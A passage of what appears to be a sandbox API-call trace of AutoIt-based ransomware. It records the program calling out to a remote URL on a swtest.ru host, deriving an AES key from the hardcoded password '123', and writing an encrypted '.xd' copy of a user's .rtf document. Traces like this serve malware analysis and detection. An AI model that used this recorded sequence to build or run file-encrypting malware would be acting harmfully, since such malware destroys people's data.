cchCount2=3) returned 3 [0073.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0073.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.652] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.652] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0073.652] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.654] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0073.654] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0073.654] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0073.654] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0073.654] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0073.654] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f70, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f70, lpdwBufferLength=0x130ee1c) returned 1 [0073.654] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0073.654] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0073.654] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0073.655] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0073.655] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0073.655] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0073.655] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16291e0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0073.655] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629200, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629200*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0073.655] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0073.656] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0073.656] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0073.656] CloseHandle (hObject=0x0) returned 0 [0073.656] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.656] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0073.656] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0073.656] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.656] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.657] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.657] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.657] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0073.657] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.657] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0073.657] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.657] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.657] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0073.657] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.657] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.657] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.657] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.657] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.657] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0073.658] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0073.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e050, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0073.658] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0073.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0073.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e290, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0073.658] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0073.658] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa230) returned 1 [0073.659] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.659] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.659] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0073.659] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.659] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.659] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.659] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.659] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.659] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.659] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.659] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.659] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.660] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.660] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.660] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.660] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0073.660] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.660] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.660] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.660] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.660] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.660] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.660] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.660] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.660] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.660] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.660] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.660] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.660] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.660] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.661] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.661] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.661] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.661] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.661] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0073.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16215d0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0073.661] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0073.661] CryptCreateHash (in: hProv=0x17aa230, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0073.661] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.661] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.661] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.661] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0073.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629350, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0073.662] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0073.662] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0073.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294f0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0073.662] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.662] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.662] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.662] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0073.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16216c0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0073.662] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0073.662] CryptHashData (hHash=0x164c4f0, pbData=0x1629400, dwDataLen=0x3, dwFlags=0x1) returned 1 [0073.663] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.663] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.663] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.663] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.663] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.663] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.663] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.663] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0073.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621798, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0073.663] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0073.663] CryptDeriveKey (in: hProv=0x17aa230, Algid=0x6610, hBaseData=0x164c4f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c530) returned 1 [0073.663] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.663] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.663] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.664] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.664] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.664] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.664] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0073.664] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0073.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e330, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0073.664] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0073.664] CryptDestroyHash (hHash=0x164c4f0) returned 1 [0073.664] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.664] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.664] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.664] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.664] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.665] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\hals-prteglwa.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0073.665] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.665] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0073.665] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.665] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.665] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.665] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif")) returned 0x10 [0073.669] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\hals-prteglwa.rtf.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0073.669] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.669] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.669] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.670] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.672] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: 